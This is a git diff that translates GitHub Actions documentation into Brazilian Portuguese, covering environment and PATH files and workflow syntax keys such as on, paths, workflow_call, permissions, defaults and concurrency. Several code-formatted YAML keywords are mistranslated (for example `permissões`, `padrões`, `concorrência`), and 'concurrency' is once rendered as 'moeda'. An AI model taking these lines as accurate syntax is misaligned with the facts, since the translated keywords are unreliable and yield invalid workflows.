+**Observação:** As variáveis de ambiente devem ser referenciadas explicitamente usando o [`env` contexto](/actions/reference/context-and-expression-syntax-for-github-actions#env-context) na sintaxe de expressão ou por meio do uso do arquivo `$GITHUB_ENV` diretamente. As variáveisde ambiente não estão implicitamente disponíveis nos comandos do shell.
 
 {% endnote %}
 
-### Example
+### Exemplo
 
 {% raw %}
 ```
@@ -371,9 +373,9 @@ steps:
 ```
 {% endraw %}
 
-### Multiline strings
+### Strings de linha múltipla
 
-For multiline strings, you may use a delimiter with the following syntax. 
+Para strings linha múltipla, você pode usar um delimitador com a seguinte sintaxe.
 
 ```
 {name}<<{delimiter}
@@ -381,9 +383,9 @@ For multiline strings, you may use a delimiter with the following syntax.
 {delimiter}
 ```
 
-#### Example
+#### Exemplo
 
-In this example, we use `EOF` as a delimiter and set the `JSON_RESPONSE` environment variable to the value of the curl response.
+Neste exemplo, usamos `EOF` como um delimitador e definimos a variável de ambiente `JSON_RESPONSE` como o valor da resposta de curl.
 ```yaml
 steps:
   - name: Set the value
@@ -394,17 +396,17 @@ steps:
       echo 'EOF' >> $GITHUB_ENV
 ```
 
-## Adding a system path
+## Adicionar um caminho do sistema
 
 ``` bash
 echo "{path}" >> $GITHUB_PATH
 ```
 
-Prepends a directory to the system `PATH` variable and automatically makes it available to all subsequent actions in the current job; the currently running action cannot access the updated path variable. To see the currently defined paths for your job, you can use `echo "$PATH"` in a step or an action.
+Prepara um diretório para a variável `PATH` do sistema e disponibiliza automaticamente para todas as ações subsequentes no trabalho atual; a ação atualmente em execução não pode acessar a variável de caminho atualizada. Para ver os caminhos atualmente definidos para o seu trabalho, você pode usar o `echo "$PATH"` em uma etapa ou ação.
 
-### Example
+### Exemplo
 
-This example demonstrates how to add the user `$HOME/.local/bin` directory to `PATH`:
+Este exemplo demonstra como adicionar o diretório `$HOME/.local/bin` ao `PATH`:
 
 ``` bash
 echo "$HOME/.local/bin" >> $GITHUB_PATH
diff --git a/translations/pt-BR/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md b/translations/pt-BR/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md
index f3586ab251..d17d06d2cf 100644
--- a/translations/pt-BR/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md
+++ b/translations/pt-BR/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Workflow syntax for GitHub Actions
-shortTitle: Workflow syntax
-intro: A workflow is a configurable automated process made up of one or more jobs. You must create a YAML file to define your workflow configuration.
+title: Sintaxe de fluxo de trabalho para o GitHub Actions
+shortTitle: Sintaxe de fluxo de trabalho
+intro: Um fluxo de trabalho é um processo automatizado configurável constituído de um ou mais trabalhos. Você deve criar um arquivo YAML para definir a configuração do seu fluxo de trabalho.
 redirect_from:
   - /articles/workflow-syntax-for-github-actions
   - /github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions
@@ -17,27 +17,27 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About YAML syntax for workflows
+## Sobre sintaxe YAML para fluxos de trabalho
 
-Workflow files use YAML syntax, and must have either a `.yml` or `.yaml` file extension. {% data reusables.actions.learn-more-about-yaml %}
+Arquivos de fluxo de trabalho usam sintaxe YAML e devem ter uma extensão de arquivo `.yml` ou `.yaml`. {% data reusables.actions.learn-more-about-yaml %}
 
-You must store workflow files in the `.github/workflows` directory of your repository.
+Você deve armazenar os arquivos de fluxo de trabalho no diretório `.github/workflows` do seu repositório.
 
 ## `name`
 
-The name of your workflow. {% data variables.product.prodname_dotcom %} displays the names of your workflows on your repository's actions page. If you omit `name`, {% data variables.product.prodname_dotcom %} sets it to the workflow file path relative to the root of the repository.
+Nome do fluxo de trabalho. O {% data variables.product.prodname_dotcom %} exibe os nomes dos fluxos de trabalho na página de ações do repositório. Se você omitir o `nome`, o {% data variables.product.prodname_dotcom %} irá defini-lo como o caminho do arquivo do fluxo de trabalho relativo à raiz do repositório.
 
 ## `on`
 
-**Required**. The name of the {% data variables.product.prodname_dotcom %} event that triggers the workflow. You can provide a single event `string`, `array` of events, `array` of event `types`, or an event configuration `map` that schedules a workflow or restricts the execution of a workflow to specific files, tags, or branch changes. For a list of available events, see "[Events that trigger workflows](/articles/events-that-trigger-workflows)."
+**Obrigatório**. O nome do evento de {% data variables.product.prodname_dotcom %} que aciona o fluxo de trabalho. Você pode fornecer uma única `string` de evento, um `array` de eventos, um `array` de `types` (tipos) de eventos ou um `map` (mapa) de configuração de eventos que programe um fluxo de trabalho ou restrinja a execução do fluxo de trabalho a alterações em determinados arquivos, tags ou branches. Para obter uma lista de eventos disponíveis, consulte "[Eventos que acionam fluxos de trabalho](/articles/events-that-trigger-workflows)".
 
 {% data reusables.github-actions.actions-on-examples %}
 
 ## `on.<event_name>.types`
 
-Selects the types of activity that will trigger a workflow run. Most GitHub events are triggered by more than one type of activity.  For example, the event for the release resource is triggered when a release is `published`, `unpublished`, `created`, `edited`, `deleted`, or `prereleased`. The `types` keyword enables you to narrow down activity that causes the workflow to run. When only one activity type triggers a webhook event, the `types` keyword is unnecessary.
+Seleciona os tipos de atividades que acionarão a execução de um fluxo de trabalho. A maioria dos eventos GitHub são acionados por mais de um tipo de atividade.  Por exemplo, o evento para o recurso release (versão) é acionado quando uma versão é `published` (publicada), `unpublished` (a publicação é cancelada), `created` (criada), `edited` (editada), `deleted` (excluída) ou `prereleased` (versão prévia). A palavra-chave `types` (tipos) permite que você limite a atividade que faz com que o fluxo de trabalho seja executado. Quando somente um tipo de atividade aciona um evento de webhook, a palavra-chave `types` (tipos) é desnecessária.
 
-You can use an array of event `types`. For more information about each event and their activity types, see "[Events that trigger workflows](/articles/events-that-trigger-workflows#webhook-events)."
+É possível usar um array de `types` (tipos) de evento. Para obter mais informações sobre cada evento e seus tipos de atividades, consulte "[Eventos que acionam fluxos de trabalho](/articles/events-that-trigger-workflows#webhook-events)".
 
 ```yaml
 # Trigger the workflow on release activity
@@ -49,13 +49,13 @@ on:
 
 ## `on.<push|pull_request>.<branches|tags>`
 
-When using the `push` and `pull_request` events, you can configure a workflow to run on specific branches or tags. For a `pull_request` event, only branches and tags on the base are evaluated. If you define only `tags` or only `branches`, the workflow won't run for events affecting the undefined Git ref.
+Ao usar os eventos `push` e `pull_request`, é possível configurar um fluxo de trabalho para ser executado em branches ou tags específicos. Para um evento de `pull_request`, são avaliados apenas os branches e tags na base. Se você definir apenas `tags` ou `branches`, o fluxo de trabalho não será executado para eventos que afetam o Git ref indefinido.
 
-The `branches`, `branches-ignore`, `tags`, and `tags-ignore` keywords accept glob patterns that use characters like `*`, `**`, `+`, `?`, `!` and others to match more than one branch or tag name. If a name contains any of these characters and you want a literal match, you need to *escape* each of these special characters with `\`. For more information about glob patterns, see the "[Filter pattern cheat sheet](#filter-pattern-cheat-sheet)."
+As palavras-chave `branches`, `branches-ignore`, `tags`, and `tags-ignore` aceitam padrões do glob que usam caracteres como `*`, `**`, `+`, `?`, `!` e outros para corresponder a mais de um nome do branch ou tag. Se um nome contiver qualquer um desses caracteres e você quiser uma correspondência literal, você deverá *escapar* de cada um desses caracteres especiais com `\`. Para obter mais informações sobre padrões de glob, consulte a "[Folha de informações para filtrar padrões](#filter-pattern-cheat-sheet)".
 
-### Example: Including branches and tags
+### Exemplo: Incluindo branches e tags
 
-The patterns defined in `branches` and `tags` are evaluated against the Git ref's name. For example, defining the pattern `mona/octocat` in `branches` will match the `refs/heads/mona/octocat` Git ref. The pattern `releases/**` will match the `refs/heads/releases/10` Git ref.
+Os padrões definidos nos `branches` e `tags` são avaliados relativamente ao nome do Git ref. Por exemplo, definir o padrão `mona/octocat` nos `branches` corresponde ao Git ref `refs/heads/mona/octocat`. O padrão `releases/**` corresponderá ao Git ref `refs/heads/releases/10`.
 
 ```yaml
 on:
@@ -74,9 +74,9 @@ on:
       - v1.*           # Push events to v1.0, v1.1, and v1.9 tags
 ```
 
-### Example: Ignoring branches and tags
+### Exemplo: Ignorando branches e tags
 
-Anytime a pattern matches the `branches-ignore` or `tags-ignore` pattern, the workflow will not run. The patterns defined in `branches-ignore` and `tags-ignore` are evaluated against the Git ref's name. For example, defining the pattern `mona/octocat` in `branches` will match the `refs/heads/mona/octocat` Git ref. The pattern `releases/**-alpha` in `branches` will match the `refs/releases/beta/3-alpha` Git ref.
+Sempre que um padrão corresponde ao padrão `branches-ignore` ou `tags-ignore`, o fluxo de trabalho não será executado. Os padrões definidos em `branches-ignore` e `tags-ignore` são avaliados relativamente ao nome do Git ref. Por exemplo, definir o padrão `mona/octocat` nos `branches` corresponde ao Git ref `refs/heads/mona/octocat`. O padrão `releases/**-alpha` em `branches` corresponderá ao Git ref `refs/releases/beta/3-alpha`.
 
 ```yaml
 on:
@@ -92,19 +92,19 @@ on:
       - v1.*           # Do not push events to tags v1.0, v1.1, and v1.9
 ```
 
-### Excluding branches and tags
+### Excluir branches e tags
 
-You can use two types of filters to prevent a workflow from running on pushes and pull requests to tags and branches.
-- `branches` or `branches-ignore` - You cannot use both the `branches` and `branches-ignore` filters for the same event in a workflow. Use the `branches` filter when you need to filter branches for positive matches and exclude branches. Use the `branches-ignore` filter when you only need to exclude branch names.
-- `tags` or `tags-ignore` - You cannot use both the `tags` and `tags-ignore` filters for the same event in a workflow. Use the `tags` filter when you need to filter tags for positive matches and exclude tags. Use the `tags-ignore` filter when you only need to exclude tag names.
+Você pode usar dois tipos de filtros para impedir a execução de um fluxo de trabalho em pushes e pull requests para tags e branches.
+- `branches` ou `branches-ignore` - não é possível usar os dois filtros `branches` e `branches-ignore` para o mesmo evento em um fluxo de trabalho. Use o filtro `branches` quando você precisa filtrar branches para correspondências positivas e excluir branches. Use o filtro `branches-ignore` quando você só precisa excluir nomes de branches.
+- `tags` ou `tags-ignore` - não é possível usar os dois filtros `tags` e `tags-ignore` para o mesmo evento em um fluxo de trabalho. Use o filtro `tags` quando você precisa filtrar tags para correspondências positivas e excluir tags. Use o filtro `tags-ignore` quando você só precisa excluir nomes de tags.
 
-### Example: Using positive and negative patterns
+### Exemplo: Usando padrões positivos e negativos
 
-You can exclude `tags` and `branches` using the `!` character. The order that you define patterns matters.
-  - A matching negative pattern (prefixed with `!`) after a positive match will exclude the Git ref.
-  - A matching positive pattern after a negative match will include the Git ref again.
+Você pode excluir `tags` e `branches` usando o caractere `!`. A ordem de definição dos padrões é importante.
+  - Um padrão negativo (precedido por `!`) depois de uma correspondência positiva excluirá o Git ref.
+  - Um padrão positivo correspondente após uma correspondência negativa incluirá a Git ref novamente.
 
-The following workflow will run on pushes to `releases/10` or `releases/beta/mona`, but not on `releases/10-alpha` or `releases/beta/3-alpha` because the negative pattern `!releases/**-alpha` follows the positive pattern.
+O fluxo de trabalho a seguir será executado em pushes para `releases/10` ou `releases/beta/mona`, mas não em `releases/10-alpha` ou `releases/beta/3-alpha`, pois o padrão negativo `!releases/**-alpha` está na sequência do padrão positivo.
 
 ```yaml
 on:
@@ -116,13 +116,13 @@ on:
 
 ## `on.<push|pull_request>.paths`
 
-When using the `push` and `pull_request` events, you can configure a workflow to run when at least one file does not match `paths-ignore` or at least one modified file matches the configured `paths`. Path filters are not evaluated for pushes to tags.
+Ao usar os eventos `push` e `pull_request`, é possível configurar um fluxo de trabalho para ser executado quando pelo menos um arquivo não corresponde a `paths-ignore` ou pelo menos um arquivo modificado corresponde ao `paths` configurado. Flitros de caminho não são avaliados em pushes para tags.
 
-The `paths-ignore` and `paths` keywords accept glob patterns that use the `*` and `**` wildcard characters to match more than one path name. For more information, see the "[Filter pattern cheat sheet](#filter-pattern-cheat-sheet)."
+As palavras-chave `paths-ignore` e `paths` aceitam padrões glob que usam os caracteres curinga `*` e `**` para coincidir com mais de um nome de caminho. Para obter mais informações, consulte a "[Folha de consulta de filtro padrão](#filter-pattern-cheat-sheet)".
 
-### Example: Ignoring paths
+### Exemplo: Ignorando caminhos
 
-When all the path names match patterns in `paths-ignore`, the workflow will not run. {% data variables.product.prodname_dotcom %} evaluates patterns defined in `paths-ignore` against the path name. A workflow with the following path filter will only run on `push` events that include at least one file outside the `docs` directory at the root of the repository.
+Quando todos os caminhos de nome correspondem a padrões em `paths-ignore`, o fluxo de trabalho não será executado. O {% data variables.product.prodname_dotcom %} avalia os padrões definidos em `paths-ignore` com relação ao nome do caminho. Um fluxo de trabalho com o seguinte filtro de caminho só será executado em eventos `push` que tiverem pelo menos um arquivo fora do diretório `docs` na raiz do repositório.
 
 ```yaml
 on:
@@ -131,9 +131,9 @@ on:
       - 'docs/**'
 ```
 
-### Example: Including paths
+### Exemplo: Incluindo caminhos
 
-If at least one path matches a pattern in the `paths` filter, the workflow runs. To trigger a build anytime you push a JavaScript file, you can use a wildcard pattern.
+Se pelo menos um caminho corresponder a um padrão no filtro `paths`, o fluxo de trabalho será executado. Para acionar uma compilação sempre que você fizer push de um arquivo JavaScript, você pode usar um padrão curinga.
 
 ```yaml
 on:
@@ -142,19 +142,19 @@ on:
       - '**.js'
 ```
 
-### Excluding paths
+### Excluir caminhos
 
-You can exclude paths using two types of filters. You cannot use both of these filters for the same event in a workflow.
-- `paths-ignore` - Use the `paths-ignore` filter when you only need to exclude path names.
-- `paths` - Use the `paths` filter when you need to filter paths for positive matches and exclude paths.
+Você pode excluir caminhos com dois tipos de filtros. Não é possível usar ambos os filtros para o mesmo evento em um fluxo de trabalho.
+- `paths-ignore` - use o filtro `paths-ignore` quando você precisa somente excluir nomes de caminhos.
+- `paths` - use o filtro `paths` quando você precisa filtrar caminhos para correspondências positivas e excluir caminhos.
 
-### Example: Using positive and negative patterns
+### Exemplo: Usando padrões positivos e negativos
 
-You can exclude `paths` using the `!` character. The order that you define patterns matters:
-  - A matching negative pattern (prefixed with `!`) after a positive match will exclude the path.
-  - A matching positive pattern after a negative match will include the path again.
+Você pode excluir `paths` usando o caractere `!`. A ordem de definição dos padrões é importante:
+  - Um padrão negativo (precedido por `!`) depois de uma correspondência positiva excluirá o caminho.
+  - Um padrão positivo correspondente após uma correspondência negativa incluirá o caminho novamente.
 
-This example runs anytime the `push` event includes a file in the `sub-project` directory or its subdirectories, unless the file is in the `sub-project/docs` directory. For example, a push that changed `sub-project/index.js` or `sub-project/src/index.js` will trigger a workflow run, but a push changing only `sub-project/docs/readme.md` will not.
+Este exemplo é executado sempre que o evento `push` inclui um arquivo no diretório `sub-project` ou seus subdiretórios, a menos que o arquivo esteja no diretório `sub-project/docs`. Por exemplo, um push que alterou `sub-project/index.js` ou `sub-project/src/index.js` acionará uma execução de fluxo de trabalho, mas um push que altere somente`sub-project/docs/readme.md` não acionará.
 
 ```yaml
 on:
@@ -164,39 +164,39 @@ on:
       - '!sub-project/docs/**'
 ```
 
-### Git diff comparisons
+### Comparações Git diff
 
 {% note %}
 
-**Note:** If you push more than 1,000 commits, or if {% data variables.product.prodname_dotcom %} does not generate the diff due to a timeout, the workflow will always run.
+**Observação:** Se você fizer push de mais de 1.000 commits, ou se {% data variables.product.prodname_dotcom %} não gerar o diff devido a um tempo limite, o fluxo de trabalho sempre será executado.
 
 {% endnote %}
 
-The filter determines if a workflow should run by evaluating the changed files and running them against the `paths-ignore` or `paths` list. If there are no files changed, the workflow will not run.
+O filtro determina se um fluxo de trabalho deve ser executado avaliando os arquivos alterados e comparando-os à lista de `paths-ignore` ou `paths`. Se não houver arquivos alterados, o fluxo de trabalho não será executado.
 
-{% data variables.product.prodname_dotcom %} generates the list of changed files using two-dot diffs for pushes and three-dot diffs for pull requests:
-- **Pull requests:** Three-dot diffs are a comparison between the most recent version of the topic branch and the commit where the topic branch was last synced with the base branch.
-- **Pushes to existing branches:** A two-dot diff compares the head and base SHAs directly with each other.
-- **Pushes to new branches:** A two-dot diff against the parent of the ancestor of the deepest commit pushed.
+O {% data variables.product.prodname_dotcom %} gera a lista de arquivos alterados usando diffs de dois pontos para pushes e diffs de três pontos para pull requests:
+- **Pull requests:** diffs de três pontos são uma comparação entre a versão mais recente do branch de tópico e o commit onde o branch de tópico foi sincronizado pela última vez com o branch de base.
+- **Pushes para branches existentes:** um diff de dois pontos compara os SHAs head e base, um com o outro.
+- **Pushes para novos branches:** um diff de dois pontos compara o principal do ancestral do commit mais extenso que foi feito push.
 
-Diffs are limited to 300 files. If there are files changed that aren't matched in the first 300 files returned by the filter, the workflow will not run. You may need to create more specific filters so that the workflow will run automatically.
+Os diffs limitam-se a 300 arquivos. Se houver arquivos alterados que não correspondam aos primeiros 300 arquivos retornados pelo filtro, o fluxo de trabalho não será executado. Talvez seja necessário criar filtros mais específicos para que o fluxo de trabalho seja executado automaticamente.
 
-For more information, see "[About comparing branches in pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests)."
+Para obter mais informações, consulte "[Sobre comparação de branches em pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests)".
 
 {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
 ## `on.workflow_call.inputs`
 
-When using the `workflow_call` keyword, you can optionally specify inputs that are passed to the called workflow from the caller workflow. For more information about the `workflow_call` keyword, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows#workflow-reuse-events)."
+Ao usar a palavra-chave `workflow_call`, você poderá, opcionalmente, especificar entradas que são passadas para o fluxo de trabalho chamado no fluxo de trabalho de chamada. Para obter mais informações sobre a palavra-chave `workflow_call`, consulte "[Eventos que acionam fluxos de trabalho](/actions/learn-github-actions/events-that-trigger-workflows#workflow-reuse-events)."
 
-In addition to the standard input parameters that are available, `on.workflow_call.inputs` requires a `type` parameter. For more information, see [`on.workflow_call.inputs.<input_id>.type`](#onworkflow_callinputsinput_idtype).
+Além dos parâmetros de entrada padrão que estão disponíveis, `on.workflow_call.inputs` exige um parâmetro `tipo`. Para obter mais informações, consulte [`on.workflow_call.inputs.<input_id>.type`](#onworkflow_callinputsinput_idtype).
 
-If a `default` parameter is not set, the default value of the input is `false` for a boolean, `0` for a number, and `""` for a string.
+Se um parâmetro `padrão` não fordefinido, o valor padrão da entrada será `falso` para um booleano, `0` para um número e `""` para uma string.
 
-Within the called workflow, you can use the `inputs` context to refer to an input.
+No fluxo de trabalho chamado, você pode usar o contexto `entradas` para referir-se a uma entrada.
 
-If a caller workflow passes an input that is not specified in the called workflow, this results in an error.
+Se um fluxo de trabalho de chamada passar uma entrada que não é especificada no fluxo de trabalho de chamada, isso irá gerar um erro.
 
-### Example
+### Exemplo
 
 {% raw %}
 ```yaml
@@ -208,7 +208,7 @@ on:
         default: 'john-doe'
         required: false
         type: string
-  
+
 jobs:
   print-username:
     runs-on: ubuntu-latest
@@ -219,19 +219,19 @@ jobs:
 ```
 {% endraw %}
 
-For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+Para obter mais informações, consulte "[Reutilizando fluxos de trabalho](/actions/learn-github-actions/reusing-workflows)".
 
 ## `on.workflow_call.inputs.<input_id>.type`
 
-Required if input is defined for the `on.workflow_call` keyword. The value of this parameter is a string specifying the data type of the input. This must be one of: `boolean`, `number`, or `string`.
+Necessário se a entrada for definida para a palavra-chave `on.workflow_call`. O valor deste parâmetro é uma string que especifica o tipo de dados da entrada. Este deve ser um dos valores a seguir: `booleano`, `número` ou `string`.
 
 ## `on.workflow_call.outputs`
 
-A map of outputs for a called workflow. Called workflow outputs are available to all downstream jobs in the caller workflow. Each output has an identifier, an optional `description,` and a `value.` The `value` must be set to the value of an output from a job within the called workflow.
+Um mapa de saídas para um fluxo de trabalho chamado. As saídas de fluxo de trabalho chamadas estão disponíveis para todas as tarefas a jusante no fluxo de trabalho de chamadas. Cada saída tem um identificador, uma `descrição` opcional e um `valor.` O `valor` deve ser definido para o valor de uma saída de um trabalho dentro do fluxo de trabalho chamado.
 
-In the example below, two outputs are defined for this reusable workflow: `workflow_output1` and `workflow_output2`. These are mapped to outputs called `job_output1` and `job_output2`, both from a job called `my_job`.
+No exemplo abaixo, dois valores de saída são definidos para este fluxo de trabalho reutilizável: `workflow_output1` e `workflow_output2`. Eles são mapeados com as saídas chamadas `job_output1` e `job_output2`, ambas de um trabalho chamado `my_job`.
 
-### Example
+### Exemplo
 
 {% raw %}
 ```yaml
@@ -248,17 +248,17 @@ on:
 ```
 {% endraw %}
 
-For information on how to reference a job output, see [`jobs.<job_id>.outputs`](#jobsjob_idoutputs). For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+Para obter informações sobre como fazer referência a uma saída de trabalho, consulte [`trabalhos.<job_id>.outputs`](#jobsjob_idoutputs). Para obter mais informações, consulte "[Reutilizando fluxos de trabalho](/actions/learn-github-actions/reusing-workflows)".
 
 ## `on.workflow_call.secrets`
 
-A map of the secrets that can be used in the called workflow.
+Um mapa dos segredos que pode ser usado no fluxo de trabalho de chamada.
 
-Within the called workflow, you can use the `secrets` context to refer to a secret.
+Dentro do fluxo de trabalho de chamada, você pode usar o contexto `segredos` para consultar um segredo.
 
-If a caller workflow passes a secret that is not specified in the called workflow, this results in an error.
+Se um fluxo de trabalho de chamada passar um segredo que não é especificado no fluxo de trabalho chamado, isso irá gerar um erro.
 
-### Example
+### Exemplo
 
 {% raw %}
 ```yaml
@@ -268,7 +268,7 @@ on:
       access-token:
         description: 'A token passed from the caller workflow'
         required: false
-  
+
 jobs:
   pass-secret-to-action:
     runs-on: ubuntu-latest
@@ -283,20 +283,20 @@ jobs:
 
 ## `on.workflow_call.secrets.<secret_id>`
 
-A string identifier to associate with the secret. 
+Um identificador de string para associar ao segredo.
 
 ## `on.workflow_call.secrets.<secret_id>.required`
 
-A boolean specifying whether the secret must be supplied.
+Um booleano que especifica se o segredo deve ser fornecido.
 {% endif %}
 
 ## `on.workflow_dispatch.inputs`
 
-When using the `workflow_dispatch` event, you can optionally specify inputs that are passed to the workflow.
+Ao usar o evento `workflow_dispatch`, você pode, opcionalmente, especificar as entradas que são passadas para o fluxo de trabalho.
 
-The triggered workflow receives the inputs in the `github.event.inputs` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)."
+O fluxo de trabalho acionado recebe as entradas no contexto `github.event.inputs`. Para obter mais informações, consulte "[Contextos](/actions/learn-github-actions/contexts#github-context)".
 
-### Example
+### Exemplo
 {% raw %}
 ```yaml
 on: 
@@ -319,7 +319,7 @@ on:
         description: 'Environment to run tests against'
         type: environment
         required: true {% endif %}
-  
+
 jobs:
   print-tag:
     runs-on: ubuntu-latest
@@ -334,21 +334,21 @@ jobs:
 
 {% data reusables.repositories.actions-scheduled-workflow-example %}
 
-For more information about cron syntax, see "[Events that trigger workflows](/actions/automating-your-workflow-with-github-actions/events-that-trigger-workflows#scheduled-events)."
+Para obter mais informações sobre a sintaxe cron, consulte "[Eventos que acionam fluxos de trabalho](/actions/automating-your-workflow-with-github-actions/events-that-trigger-workflows#scheduled-events)".
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-## `permissions`
+## `permissões`
 
-You can modify the default permissions granted to the `GITHUB_TOKEN`, adding or removing access as required, so that you only allow the minimum required access. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."
+Você pode modificar as permissões padrão concedidas ao `GITHUB_TOKEN`, adicionando ou removendo o acesso conforme necessário, para que você permita apenas o acesso mínimo necessário. Para obter mais informações, consulte "[Autenticação em um fluxo de trabalho](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)".
 
-You can use `permissions` either as a top-level key, to apply to all jobs in the workflow, or within specific jobs. When you add the `permissions` key within a specific job, all actions and run commands within that job that use the `GITHUB_TOKEN` gain the access rights you specify.  For more information, see [`jobs.<job_id>.permissions`](#jobsjob_idpermissions).
+Você pode usar as permissões de `` como uma chave de nível superior, para aplicar a todos os trabalhos do fluxo de trabalho ou em trabalhos específicos. Ao adicionar a chave das `permissões` em um trabalho específico, todas as ações e comandos de execução dentro desse trabalho que usam o `GITHUB_TOKEN` ganham os direitos de acesso que você especificar.  Para obter mais informações, consulte [`jobs.<job_id>.permissions`](#jobsjob_idpermissions).
 
 {% data reusables.github-actions.github-token-available-permissions %}
 {% data reusables.github-actions.forked-write-permission %}
 
-### Example
+### Exemplo
 
-This example shows permissions being set for the `GITHUB_TOKEN` that will apply to all jobs in the workflow. All permissions are granted read access.
+Este exemplo mostra as permissões que estão sendo definidas para o `GITHUB_TOKEN` que será aplicado a todos os trabalhos do fluxo de trabalho. É concedido acesso de leitura a todas as permissões.
 
 ```yaml
 name: "My workflow"
@@ -364,30 +364,30 @@ jobs:
 
 ## `env`
 
-A `map` of environment variables that are available to the steps of all jobs in the workflow. You can also set environment variables that are only available to the steps of a single job or to a single step. For more information, see [`jobs.<job_id>.env`](#jobsjob_idenv) and [`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv).
+Um `mapa` das variáveis de ambiente que estão disponíveis para as etapas de todos os trabalhos do fluxo de trabalho. Também é possível definir variáveis de ambiente que estão disponíveis apenas para as etapas de um único trabalho ou para uma única etapa. Para obter mais informações, consulte [`jobs.<job_id>.env`](#jobsjob_idenv) e [`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv).
 
 {% data reusables.repositories.actions-env-var-note %}
 
-### Example
+### Exemplo
 
 ```yaml
 env:
   SERVER: production
 ```
 
-## `defaults`
+## `padrões`
 
-A `map` of default settings that will apply to all jobs in the workflow. You can also set default settings that are only available to a job. For more information, see [`jobs.<job_id>.defaults`](#jobsjob_iddefaults).
+Um `mapa` das configurações-padrão que serão aplicadas a todos os trabalhos do fluxo de trabalho. Você também pode definir as configurações-padrão disponíveis para um trabalho. Para obter mais informações, consulte [`jobs.<job_id>.defaults`](#jobsjob_iddefaults).
 
 {% data reusables.github-actions.defaults-override %}
 
 ## `defaults.run`
 
-You can provide default `shell` and `working-directory` options for all [`run`](#jobsjob_idstepsrun) steps in a workflow. You can also set default settings for `run` that are only available to a job. For more information, see [`jobs.<job_id>.defaults.run`](#jobsjob_iddefaultsrun). You cannot use contexts or expressions in this keyword.
+Você pode fornecer opções-padrão de `shell` e `working-directory` para todas as etapas de [`executar`](#jobsjob_idstepsrun) em um fluxo de trabalho. Você também pode definir as configurações-padrão para `execução` apenas disponíveis para um trabalho. Para obter mais informações, consulte [`jobs.<job_id>.defaults.run`](#jobsjob_iddefaultsrun). Você não pode usar contextos ou expressões nesta palavra-chave.
 
 {% data reusables.github-actions.defaults-override %}
 
-### Example
+### Exemplo
 
 ```yaml
 defaults:
@@ -397,32 +397,32 @@ defaults:
 ```
 
 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}
-## `concurrency`
+## `concorrência`
 
-Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. A concurrency group can be any string or expression. The expression can only use the [`github` context](/actions/learn-github-actions/contexts#github-context). For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)."
+A moeda garante que apenas um único trabalho ou fluxo de trabalho que usa o mesmo grupo de concorrência seja executado de cada vez. Um grupo de concorrência pode ser qualquer string ou expressão. A expressão só pode usar o contexto [`github`](/actions/learn-github-actions/contexts#github-context). Para obter mais informações sobre expressões, consulte "[Expressões](/actions/learn-github-actions/expressions)".
 
-You can also specify `concurrency` at the job level. For more information, see [`jobs.<job_id>.concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idconcurrency).
+Você também pode especificar `concorrência` no nível do trabalho. Para obter mais informações, consulte [`jobs.<job_id>.concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idconcurrency).
 
 {% data reusables.actions.actions-group-concurrency %}
 
 {% endif %}
 ## `jobs`
 
-A workflow run is made up of one or more jobs. Jobs run in parallel by default. To run jobs sequentially, you can define dependencies on other jobs using the `jobs.<job_id>.needs` keyword.
+A execução de um fluxo de trabalho consiste em um ou mais trabalhos. Por padrão, os trabalhos são executados paralelamente. Para executar trabalhos sequencialmente, você pode definir dependências em outros trabalhos usando a palavra-chave `jobs.<job_id>.needs`.
 
-Each job runs in a runner environment specified by `runs-on`.
+Cada trabalho é executado em um ambiente de executor especificado por `runs-on`.
 
-You can run an unlimited number of jobs as long as you are within the workflow usage limits. For more information, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %}
+Você pode executar quantos trabalhos desejar, desde que esteja dentro dos limites de uso do fluxo de trabalho. Para obter mais informações, consulte {% ifversion fpt or ghec or ghes %}"[Limites de uso e cobrança](/actions/reference/usage-limits-billing-and-administration)" para executores hospedados em {% data variables.product.prodname_dotcom %} e {% endif %}"[Sobre executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" para limites de uso de executor auto-hospedado.{% elsif ghae %}."{% endif %}
 
-If you need to find the unique identifier of a job running in a workflow run, you can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. For more information, see "[Workflow Jobs](/rest/reference/actions#workflow-jobs)."
+Se precisar encontrar o identificador exclusivo de uma tarefa em execução em um fluxo de trabalho, você poderá usar a API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}. Para obter mais informações, consulte "[Trabalhos do fluxo de trabalho](/rest/reference/actions#workflow-jobs)".
 
 ## `jobs.<job_id>`
 
